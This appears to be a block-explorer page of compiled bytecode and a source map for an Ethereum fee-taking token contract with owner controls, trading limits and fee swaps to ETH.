5b8151610ae9816115ca565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561188a5784516001600160a01b031683529383019391830191600101611865565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122080d143f5b842bf7bf58e42505c3c36dc8a81461246b448d9c32e83151296750564736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102295760003560e01c80638f3fa86011610123578063c3f70b52116100ab578063ed4214291161006f578063ed4214291461068d578063ee2e5a2e146106ad578063f2fde38b146106cd578063f4b3dbc3146106ed578063fe6f1b051461070d57600080fd5b8063c3f70b52146105dc578063c9567bf9146105f2578063dd62ed3e14610607578063e5685bed1461064d578063ea5b9e851461066d57600080fd5b80639f6936e8116100f25780639f6936e81461054c578063a457c2d714610566578063a7c29b4014610586578063a9059cbb146105a6578063bf56b371146105c657600080fd5b80638f3fa860146104d2578063958f9735146104e857806395d89b411461050757806399b102b51461051c57600080fd5b806339509351116101b1578063735de9f711610175578063735de9f714610438578063751039fc1461045f57806375f0a874146104745780637bf5316f146104945780638da5cb5b146104b457600080fd5b8063395093511461036b5780635342acb41461038b5780636dd3d39f146103bb57806370a08231146103eb578063715018a61461042157600080fd5b806323b872dd116101f857806323b872dd146102c557806328ac2d53146102e55780632ce9a4ac1461031d5780632d46139114610333578063313ce5671461034957600080fd5b806306fdde0314610235578063095ea7b31461026057806318160ddd146102905780631884f1e6146102af57600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5061024a610723565b604051610257919061157c565b60405180910390f35b34801561026c57600080fd5b5061028061027b3660046115e2565b6107b5565b6040519015158152602001610257565b34801561029c57600080fd5b506004545b604051908152602001610257565b3480156102bb57600080fd5b506102a1600a5481565b3480156102d157600080fd5b506102806102e036600461160e565b6107cc565b3480156102f157600080fd5b50601054610305906001600160a01b031681565b6040516001600160a01b039091168152602001610257565b34801561032957600080fd5b506102a160135481565b34801561033f57600080fd5b506102a160125481565b34801561035557600080fd5b5060035460405160ff9091168152602001610257565b34801561037757600080fd5b506102806103863660046115e2565b61081e565b34801561039757600080fd5b506102806103a636600461164f565b60056020526000908152604090205460ff1681565b3480156103c757600080fd5b506102806103d636600461164f565b60076020526000908152604090205460ff1681565b3480156103f757600080fd5b506102a161040636600461164f565b6001600160a01b031660009081526008602052604090205490565b34801561042d57600080fd5b50610436610855565b005b34801561044457600080fd5b50600f5461030590630100000090046001600160a01b031681565b34801561046b57600080fd5b506104366108d2565b34801561048057600080fd5b50601154610305906001600160a01b031681565b3480156104a057600080fd5b50600f546102809062010000900460ff1681565b3480156104c057600080fd5b506000546001600160a01b0316610305565b3480156104de57600080fd5b506102a1600b5481565b3480156104f457600080fd5b50600f5461028090610100900460ff1681565b34801561051357600080fd5b5061024a610913565b34801561052857600080fd5b5061028061053736600461164f565b60066020526000908152604090205460ff1681565b34801561055857600080fd5b50600f546102809060ff1681565b34801561057257600080fd5b506102806105813660046115e2565b610922565b34801561059257600080fd5b506104366105a1366004611681565b610959565b3480156105b257600080fd5b506102806105c13660046115e2565b6109ae565b3480156105d257600080fd5b506102a1600e5481565b3480156105e857600080fd5b506102a1600c5481565b3480156105fe57600080fd5b506104366109bb565b34801561061357600080fd5b506102a16106223660046116b6565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b34801561065957600080fd5b506104366106683660046116ef565b610a47565b34801561067957600080fd5b50610436610688366004611681565b610a76565b34801561069957600080fd5b506102a16106a83660046116ef565b610acb565b3480156106b957600080fd5b506104366106c8366004611708565b610af0565b3480156106d957600080fd5b506104366106e836600461164f565b610b2d565b3480156106f957600080fd5b506102a16107083660046116ef565b610c17565b34801561071957600080fd5b506102a1600d5481565b60606001805461073290611723565b80601f016020809104026020016040519081016040528092919081815260200182805461075e90611723565b80156107ab5780601f10610780576101008083540402835291602001916107ab565b820191906000526020600020905b81548152906001019060200180831161078e57829003601f168201915b5050505050905090565b60006107c2338484610c2b565b5060015b92915050565b60006107d9848484610d38565b6001600160a01b03841660009081526009602090815260408083203380855292529091205461081491869161080f908690611773565b610c2b565b5060019392505050565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916107c291859061080f908690611786565b6000546001600160a01b031633146108885760405162461bcd60e51b815260040161087f90611799565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108fc5760405162461bcd60e51b815260040161087f90611799565b600a6012819055601355600454600b819055600c55565b60606002805461073290611723565b3360008181526009602090815260408083206001600160a01b038716845290915281205490916107c291859061080f908690611773565b6000546001600160a01b031633146109835760405162461bcd60e51b815260040161087f90611799565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b60006107c2338484610d38565b6000546001600160a01b031633146109e55760405162461bcd60e51b815260040161087f90611799565b600f5462010000900460ff1615610a305760405162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e48195b98589b1959608a1b604482015260640161087f565b600f805462ffffff19166201010117905542600e55565b6000546001600160a01b03163314610a715760405162461bcd60e51b815260040161087f90611799565b601355565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161087f90611799565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b600080600d5460125484610adf91906117ce565b610ae991906117e5565b9392505050565b6000546001600160a01b03163314610b1a5760405162461bcd60e51b815260040161087f90611799565b600f805460ff1916911515919091179055565b6000546001600160a01b03163314610b575760405162461bcd60e51b815260040161087f90611799565b6001600160a01b038116610bbc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161087f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080600d5460135484610adf91906117ce565b6001600160a01b038316610c815760405162461bcd60e51b815260206004820152601e60248201527f20617070726f76652066726f6d20746865207a65726f20616464726573730000604482015260640161087f565b6001600160a01b038216610cd75760405162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f20616464726573730000000000604482015260640161087f565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d8e5760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015260640161087f565b6001600160a01b038216610de45760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015260640161087f565b60008111610e345760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f604482015260640161087f565b6001600160a01b03831660009081526006602052604090205460ff16158015610e7657506001600160a01b03821660009081526006602052604090205460ff16155b15610f5557600c54811115610ecd5760405162461bcd60e51b815260206004820152601c60248201527f416d6f756e742065786365656473204d61782074786e206c696d697400000000604482015260640161087f565b600f5462010000900460ff16610f55576010546001600160a01b03848116911614801590610f0957506010546001600160a01b03838116911614155b610f555760405162461bcd60e51b815260206004820152601a60248201527f74726164696e67206973206e6f742079657420656e61626c6564000000000000604482015260640161087f565b6001600160a01b03821660009081526007602052604090205460ff16610ff057600b5481610f98846001600160a01b031660009081526008602052604090205490565b610fa29190611786565b1115610ff05760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e742065786365656473204d61782057616c6c6574206c696d697400604482015260640161087f565b6001600160a01b03831660009081526005602052604090205460019060ff168061103257506001600160a01b03831660009081526005602052604090205460ff165b806110455750600f54610100900460ff16155b1561104e575060005b61105a84848484611060565b50505050565b6010546001600160a01b03858116911614801561107a5750805b1561115b5760008061108b84610acb565b91506110978285611773565b6001600160a01b0387166000908152600860205260409020549091506110be908590611773565b6001600160a01b0380881660009081526008602052604080822093909355908716815220546110ee908290611786565b6001600160a01b0380871660008181526008602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111429085815260200190565b60405180910390a361115486836112b1565b505061105a565b6010546001600160a01b0384811691161480156111755750805b156111a757600a5482111561118e5761118e8484611329565b600061119983610c17565b905060006110978285611773565b6000806111b48185611773565b6001600160a01b03871660009081526005602052604090205490915060ff1680156111e75750600f5462010000900460ff165b156111f9576111f68185611773565b93505b6001600160a01b03861660009081526008602052604090205461121d908590611773565b6001600160a01b03808816600090815260086020526040808220939093559087168152205461124d908290611786565b6001600160a01b0380871660008181526008602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112a19088815260200190565b60405180910390a3505050505050565b306000908152600860205260409020546112cc908290611786565b30600081815260086020526040908190209290925590516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061131d9085815260200190565b60405180910390a35050565b30600090815260086020526040902054600a548110801590819061135b57506010546001600160a01b03858116911614155b80156113695750600f5460ff165b801561139757506001600160a01b0384163014801561139557506010546001600160a01b038481169116145b155b1561105a576113be30600f60039054906101000a90046001600160a01b0316600a54610c2b565b600f54600a546113de91630100000090046001600160a01b031690611428565b478015611421576011546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561141f573d6000803e3d6000fd5b505b5050505050565b60408051600280825260608201835284926000929190602083019080368337019050509050308160008151811061146157611461611807565b60200260200101906001600160a01b031690816001600160a01b031681525050816001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e3919061181d565b816001815181106114f6576114f6611807565b6001600160a01b039283166020918202929092010152821663791ac94784600084306115244261012c611786565b6040518663ffffffff1660e01b815260040161154495949392919061183a565b600060405180830381600087803b15801561155e57600080fd5b505af1158015611572573d6000803e3d6000fd5b5050505050505050565b600060208083528351808285015260005b818110156115a95785810183015185820160400152820161158d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115df57600080fd5b50565b600080604083850312156115f557600080fd5b8235611600816115ca565b946020939093013593505050565b60008060006060848603121561162357600080fd5b833561162e816115ca565b9250602084013561163e816115ca565b929592945050506040919091013590565b60006020828403121561166157600080fd5b8135610ae9816115ca565b8035801515811461167c57600080fd5b919050565b6000806040838503121561169457600080fd5b823561169f816115ca565b91506116ad6020840161166c565b90509250929050565b600080604083850312156116c957600080fd5b82356116d4816115ca565b915060208301356116e4816115ca565b809150509250929050565b60006020828403121561170157600080fd5b5035919050565b60006020828403121561171a57600080fd5b610ae98261166c565b600181811c9082168061173757607f821691505b60208210810361175757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156107c6576107c661175d565b808201808211156107c6576107c661175d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b80820281158282048414176107c6576107c661175d565b60008261180257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561182f57600080fd5b8151610ae9816115ca565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561188a5784516001600160a01b031683529383019391830191600101611865565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122080d143f5b842bf7bf58e42505c3c36dc8a81461246b448d9c32e83151296750564736f6c63430008130033
Deployed Bytecode Sourcemap
3238:9897:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5807:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11720:186;;;;;;;;;;-1:-1:-1;11720:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;11720:186:0;1023:187:1;6084:100:0;;;;;;;;;;-1:-1:-1;6164:12:0;;6084:100;;;1361:25:1;;;1349:2;1334:18;6084:100:0;1215:177:1;3790:60:0;;;;;;;;;;;;;;;;10240:350;;;;;;;;;;-1:-1:-1;10240:350:0;;;;;:::i;:::-;;:::i;4233:25::-;;;;;;;;;;-1:-1:-1;4233:25:0;;;;-1:-1:-1;;;;;4233:25:0;;;;;;-1:-1:-1;;;;;2022:32:1;;;2004:51;;1992:2;1977:18;4233:25:0;1858:203:1;4450:33:0;;;;;;;;;;;;;;;;4409:32;;;;;;;;;;;;;;;;5993:83;;;;;;;;;;-1:-1:-1;6059:9:0;;5993:83;;6059:9;;;;2208:36:1;;2196:2;2181:18;5993:83:0;2066:184:1;10598:292:0;;;;;;;;;;-1:-1:-1;10598:292:0;;;;;:::i;:::-;;:::i;3483:49::-;;;;;;;;;;-1:-1:-1;3483:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3598:55;;;;;;;;;;-1:-1:-1;3598:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6192:119;;;;;;;;;;-1:-1:-1;6192:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6285:18:0;6258:7;6285:18;;;:9;:18;;;;;;;6192:119;2785:157;;;;;;;;;;;;;:::i;:::-;;4195:28;;;;;;;;;;-1:-1:-1;4195:28:0;;;;;;;-1:-1:-1;;;;;4195:28:0;;;12347:185;;;;;;;;;;;;;:::i;4266:30::-;;;;;;;;;;-1:-1:-1;4266:30:0;;;;-1:-1:-1;;;;;4266:30:0;;;4151:34;;;;;;;;;;-1:-1:-1;4151:34:0;;;;;;;;;;;2571:79;;;;;;;;;;-1:-1:-1;2609:7:0;2636:6;-1:-1:-1;;;;;2636:6:0;2571:79;;3858:57;;;;;;;;;;;;;;;;4114:29;;;;;;;;;;-1:-1:-1;4114:29:0;;;;;;;;;;;5898:87;;;;;;;;;;;;;:::i;3539:52::-;;;;;;;;;;-1:-1:-1;3539:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4066:40;;;;;;;;;;-1:-1:-1;4066:40:0;;;;;;;;10898:300;;;;;;;;;;-1:-1:-1;10898:300:0;;;;;:::i;:::-;;:::i;11373:165::-;;;;;;;;;;-1:-1:-1;11373:165:0;;;;;:::i;:::-;;:::i;11914:192::-;;;;;;;;;;-1:-1:-1;11914:192:0;;;;;:::i;:::-;;:::i;4032:25::-;;;;;;;;;;;;;;;;3923:58;;;;;;;;;;;;;;;;12540:240;;;;;;;;;;;;;:::i;11544:168::-;;;;;;;;;;-1:-1:-1;11544:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;11677:18:0;;;11650:7;11677:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11544:168;12114:106;;;;;;;;;;-1:-1:-1;12114:106:0;;;;;:::i;:::-;;:::i;11206:159::-;;;;;;;;;;-1:-1:-1;11206:159:0;;;;;:::i;:::-;;:::i;12788:167::-;;;;;;;;;;-1:-1:-1;12788:167:0;;;;;:::i;:::-;;:::i;12228:111::-;;;;;;;;;;-1:-1:-1;12228:111:0;;;;;:::i;:::-;;:::i;2950:281::-;;;;;;;;;;-1:-1:-1;2950:281:0;;;;;:::i;:::-;;:::i;12963:169::-;;;;;;;;;;-1:-1:-1;12963:169:0;;;;;:::i;:::-;;:::i;3989:36::-;;;;;;;;;;;;;;;;5807:83;5844:13;5877:5;5870:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5807:83;:::o;11720:186::-;11820:4;11837:39;1414:10;11860:7;11869:6;11837:8;:39::i;:::-;-1:-1:-1;11894:4:0;11720:186;;;;;:::o;10240:350::-;10372:4;10389:36;10399:6;10407:9;10418:6;10389:9;:36::i;:::-;-1:-1:-1;;;;;10507:19:0;;;;;;:11;:19;;;;;;;;1414:10;10507:33;;;;;;;;;10436:124;;10459:6;;10507:42;;10543:6;;10507:42;:::i;:::-;10436:8;:124::i;:::-;-1:-1:-1;10578:4:0;10240:350;;;;;:::o;10598:292::-;1414:10;10711:4;10800:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10800:34:0;;;;;;;;;;10711:4;;10728:132;;10778:7;;10800:49;;10838:10;;10800:49;:::i;2785:157::-;2698:6;;-1:-1:-1;;;;;2698:6:0;1414:10;2698:22;2690:67;;;;-1:-1:-1;;;2690:67:0;;;;;;;:::i;:::-;;;;;;;;;2892:1:::1;2876:6:::0;;2855:40:::1;::::0;-1:-1:-1;;;;;2876:6:0;;::::1;::::0;2855:40:::1;::::0;2892:1;;2855:40:::1;2931:1;2906:28:::0;;-1:-1:-1;;;;;;2906:28:0::1;::::0;;2785:157::o;12347:185::-;2698:6;;-1:-1:-1;;;;;2698:6:0;1414:10;2698:22;2690:67;;;;-1:-1:-1;;;2690:67:0;;;;;;;:::i;:::-;12415:2:::1;12401:11;:16:::0;;;12428:12:::1;:17:::0;12472:12:::1;::::0;12456:13:::1;:28:::0;;;12495:14:::1;:29:::0;12347:185::o;5898:87::-;5937:13;5970:7;5963:14;;;;;:::i;10898:300::-;1414:10;11016:4;11105:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;11105:34:0;;;;;;;;;;11016:4;;11033:135;;11083:7;;11105:52;;11142:15;;11105:52;:::i;11373:165::-;2698:6;;-1:-1:-1;;;;;2698:6:0;1414:10;2698:22;2690:67;;;;-1:-1:-1;;;2690:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11493:29:0;;;::::1;;::::0;;;:20:::1;:29;::::0;;;;:37;;-1:-1:-1;;11493:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11373:165::o;11914:192::-;12017:4;12034:42;1414:10;12058:9;12069:6;12034:9;:42::i;12540:240::-;2698:6;;-1:-1:-1;;;;;2698:6:0;1414:10;2698:22;2690:67;;;;-1:-1:-1;;;2690:67:0;;;;;;;:::i;:::-;12602:14:::1;::::0;;;::::1;;;12601:15;12593:43;;;::::0;-1:-1:-1;;;12593:43:0;;5321:2:1;12593:43:0::1;::::0;::::1;5303:21:1::0;5360:2;5340:18;;;5333:30;-1:-1:-1;;;5379:18:1;;;5372:45;5434:18;;12593:43:0::1;5119:339:1::0;12593:43:0::1;12647:14;:21:::0;;-1:-1:-1;;12706:27:0;;;;;12757:15:::1;12744:10;:28:::0;12540:240::o;12114:106::-;2698:6;;-1:-1:-1;;;;;2698:6:0;1414:10;2698:22;2690:67;;;;-1:-1:-1;;;2690:67:0;;;;;;;:::i;:::-;12189:12:::1;:23:::0;12114:106::o;11206:159::-;2698:6;;-1:-1:-1;;;;;2698:6:0;1414:10;2698:22;2690:67;;;;-1:-1:-1;;;2690:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11323:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;11323:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11206:159::o;12788:167::-;12851:7;12871:11;12911:14;;12895:11;;12886:6;:20;;;;:::i;:::-;12885:41;;;;:::i;:::-;12871:55;12788:167;-1:-1:-1;;;12788:167:0:o;12228:111::-;2698:6;;-1:-1:-1;;;;;2698:6:0;1414:10;2698:22;2690:67;;;;-1:-1:-1;;;2690:67:0;;;;;;;:::i;:::-;12302:20:::1;:29:::0;;-1:-1:-1;;12302:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12228:111::o;2950:281::-;2698:6;;-1:-1:-1;;;;;2698:6:0;1414:10;2698:22;2690:67;;;;-1:-1:-1;;;2690:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3053:22:0;::::1;3031:110;;;::::0;-1:-1:-1;;;3031:110:0;;6060:2:1;3031:110:0::1;::::0;::::1;6042:21:1::0;6099:2;6079:18;;;6072:30;6138:34;6118:18;;;6111:62;-1:-1:-1;;;6189:18:1;;;6182:36;6235:19;;3031:110:0::1;5858:402:1::0;3031:110:0::1;3178:6;::::0;;3157:38:::1;::::0;-1:-1:-1;;;;;3157:38:0;;::::1;::::0;3178:6;::::1;::::0;3157:38:::1;::::0;::::1;3206:6;:17:::0;;-1:-1:-1;;;;;;3206:17:0::1;-1:-1:-1::0;;;;;3206:17:0;;;::::1;::::0;;;::::1;::::0;;2950:281::o;12963:169::-;13027:7;13047:11;13088:14;;13071:12;;13062:6;:21;;;;:::i;6319:324::-;-1:-1:-1;;;;;6412:19:0;;6404:62;;;;-1:-1:-1;;;6404:62:0;;6467:2:1;6404:62:0;;;6449:21:1;6506:2;6486:18;;;6479:30;6545:32;6525:18;;;6518:60;6595:18;;6404:62:0;6265:354:1;6404:62:0;-1:-1:-1;;;;;6485:21:0;;6477:61;;;;-1:-1:-1;;;6477:61:0;;6826:2:1;6477:61:0;;;6808:21:1;6865:2;6845:18;;;6838:30;6904:29;6884:18;;;6877:57;6951:18;;6477:61:0;6624:351:1;6477:61:0;-1:-1:-1;;;;;6551:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6603:32;;1361:25:1;;;6603:32:0;;1334:18:1;6603:32:0;;;;;;;6319:324;;;:::o;6651:1066::-;-1:-1:-1;;;;;6739:18:0;;6731:61;;;;-1:-1:-1;;;6731:61:0;;7182:2:1;6731:61:0;;;7164:21:1;7221:2;7201:18;;;7194:30;7260:32;7240:18;;;7233:60;7310:18;;6731:61:0;6980:354:1;6731:61:0;-1:-1:-1;;;;;6811:16:0;;6803:57;;;;-1:-1:-1;;;6803:57:0;;7541:2:1;6803:57:0;;;7523:21:1;7580:2;7560:18;;;7553:30;7619;7599:18;;;7592:58;7667:18;;6803:57:0;7339:352:1;6803:57:0;6888:1;6879:6;:10;6871:55;;;;-1:-1:-1;;;6871:55:0;;7898:2:1;6871:55:0;;;7880:21:1;;;7917:18;;;7910:30;7976:34;7956:18;;;7949:62;8028:18;;6871:55:0;7696:356:1;6871:55:0;-1:-1:-1;;;;;6942:26:0;;;;;;:20;:26;;;;;;;;6941:27;:56;;;;-1:-1:-1;;;;;;6973:24:0;;;;;;:20;:24;;;;;;;;6972:25;6941:56;6937:364;;;7032:14;;7022:6;:24;;7014:65;;;;-1:-1:-1;;;7014:65:0;;8259:2:1;7014:65:0;;;8241:21:1;8298:2;8278:18;;;8271:30;8337;8317:18;;;8310:58;8385:18;;7014:65:0;8057:352:1;7014:65:0;7101:14;;;;;;;7096:194;;7166:10;;-1:-1:-1;;;;;7166:18:0;;;:10;;:18;;;;:38;;-1:-1:-1;7188:10:0;;-1:-1:-1;;;;;7188:16:0;;;:10;;:16;;7166:38;7136:138;;;;-1:-1:-1;;;7136:138:0;;8616:2:1;7136:138:0;;;8598:21:1;8655:2;8635:18;;;8628:30;8694:28;8674:18;;;8667:56;8740:18;;7136:138:0;8414:350:1;7136:138:0;-1:-1:-1;;;;;7318:27:0;;;;;;:23;:27;;;;;;;;7313:195;;7416:13;;7405:6;7389:13;7399:2;-1:-1:-1;;;;;6285:18:0;6258:7;6285:18;;;:9;:18;;;;;;;6192:119;7389:13;:22;;;;:::i;:::-;7388:41;;7362:134;;;;-1:-1:-1;;;7362:134:0;;8971:2:1;7362:134:0;;;8953:21:1;9010:2;8990:18;;;8983:30;9049:33;9029:18;;;9022:61;9100:18;;7362:134:0;8769:355:1;7362:134:0;-1:-1:-1;;;;;7552:23:0;;7518:12;7552:23;;;:17;:23;;;;;;7533:4;;7552:23;;;:48;;-1:-1:-1;;;;;;7579:21:0;;;;;;:17;:21;;;;;;;;7552:48;:62;;;-1:-1:-1;7605:9:0;;;;;;;7604:10;7552:62;7548:110;;;-1:-1:-1;7641:5:0;7548:110;7668:41;7683:4;7689:2;7693:6;7701:7;7668:14;:41::i;:::-;6720:997;6651:1066;;;:::o;7723:1566::-;7878:10;;-1:-1:-1;;;;;7878:20:0;;;:10;;:20;:31;;;;;7902:7;7878:31;7874:1408;;;7926:14;7955:23;8002:24;8019:6;8002:16;:24::i;:::-;7993:33;-1:-1:-1;8059:15:0;7993:33;8059:6;:15;:::i;:::-;-1:-1:-1;;;;;8111:17:0;;;;;;:9;:17;;;;;;8041:33;;-1:-1:-1;8111:26:0;;8131:6;;8111:26;:::i;:::-;-1:-1:-1;;;;;8091:17:0;;;;;;;:9;:17;;;;;;:46;;;;8175:20;;;;;;;:38;;8198:15;;8175:38;:::i;:::-;-1:-1:-1;;;;;8152:20:0;;;;;;;:9;:20;;;;;;;:61;;;;8233:44;;;;;;;;;;8261:15;1361:25:1;;1349:2;1334:18;;1215:177;8233:44:0;;;;;;;;8294:28;8307:6;8315;8294:12;:28::i;:::-;7911:423;;7874:1408;;;8344:10;;-1:-1:-1;;;;;8344:23:0;;;:10;;:23;:34;;;;;8371:7;8344:34;8340:942;;;8408:14;;8399:6;:23;8395:98;;;8443:34;8459:6;8467:9;8443:15;:34::i;:::-;8507:14;8524:25;8542:6;8524:17;:25::i;:::-;8507:42;-1:-1:-1;8564:23:0;8590:15;8507:42;8590:6;:15;:::i;8340:942::-;8884:14;;8973:15;8884:14;8973:6;:15;:::i;:::-;-1:-1:-1;;;;;9007:25:0;;;;;;:17;:25;;;;;;8955:33;;-1:-1:-1;9007:25:0;;:43;;;;-1:-1:-1;9036:14:0;;;;;;;9007:43;9003:75;;;9052:26;9063:15;9052:26;;:::i;:::-;;;9003:75;-1:-1:-1;;;;;9113:17:0;;;;;;:9;:17;;;;;;:26;;9133:6;;9113:26;:::i;:::-;-1:-1:-1;;;;;9093:17:0;;;;;;;:9;:17;;;;;;:46;;;;9177:20;;;;;;;:38;;9200:15;;9177:38;:::i;:::-;-1:-1:-1;;;;;9154:20:0;;;;;;;:9;:20;;;;;;;:61;;;;9235:35;;;;;;;;;;9263:6;1361:25:1;;1349:2;1334:18;;1215:177;9235:35:0;;;;;;;;8869:413;;7723:1566;;;;:::o;9297:200::-;9415:4;9397:24;;;;:9;:24;;;;;;:35;;9425:6;;9397:35;:::i;:::-;9388:4;9370:24;;;;:9;:24;;;;;;;:62;;;;9450:39;;-1:-1:-1;;;;;9450:39:0;;;;;;;9482:6;1361:25:1;;1349:2;1334:18;;1215:177;9450:39:0;;;;;;;;9297:200;;:::o;9505:729::-;9624:4;9575:28;6285:18;;;:9;:18;;;;;;9685:14;;9661:38;;;;;;;9730:45;;-1:-1:-1;9765:10:0;;-1:-1:-1;;;;;9757:18:0;;;9765:10;;9757:18;;9730:45;:82;;;;-1:-1:-1;9792:20:0;;;;9730:82;:143;;;;-1:-1:-1;;;;;;9831:21:0;;9847:4;9831:21;:41;;;;-1:-1:-1;9862:10:0;;-1:-1:-1;;;;;9856:16:0;;;9862:10;;9856:16;9831:41;9829:44;9730:143;9712:515;;;9900:63;9917:4;9932:13;;;;;;;;;-1:-1:-1;;;;;9932:13:0;9948:14;;9900:8;:63::i;:::-;10013:13;;10029:14;;9980:64;;10013:13;;;-1:-1:-1;;;;;10013:13:0;;9980:24;:64::i;:::-;10085:21;10127:19;;10123:92;;10173:15;;10165:50;;-1:-1:-1;;;;;10173:15:0;;;;10165:50;;;;;10199:15;;10173;10165:50;10173:15;10165:50;10199:15;10173;10165:50;;;;;;;;;;;;;;;;;;;;;10123:92;9885:342;9564:670;;9505:729;;:::o;13162:498::-;13356:16;;;13370:1;13356:16;;;;;;;;13305:13;;13277:17;;13356:16;13370:1;13356:16;;;;;;;;;;-1:-1:-1;13356:16:0;13332:40;;13401:4;13383;13388:1;13383:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;13383:23:0;;;-1:-1:-1;;;;;13383:23:0;;;;;13427:9;-1:-1:-1;;;;;13427:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13417:4;13422:1;13417:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13417:26:0;;;:7;;;;;;;;;:26;13456:60;;;13531:11;13557:1;13573:4;13600;13620:21;:15;13638:3;13620:21;:::i;:::-;13456:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13266:394;;13162:498;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355: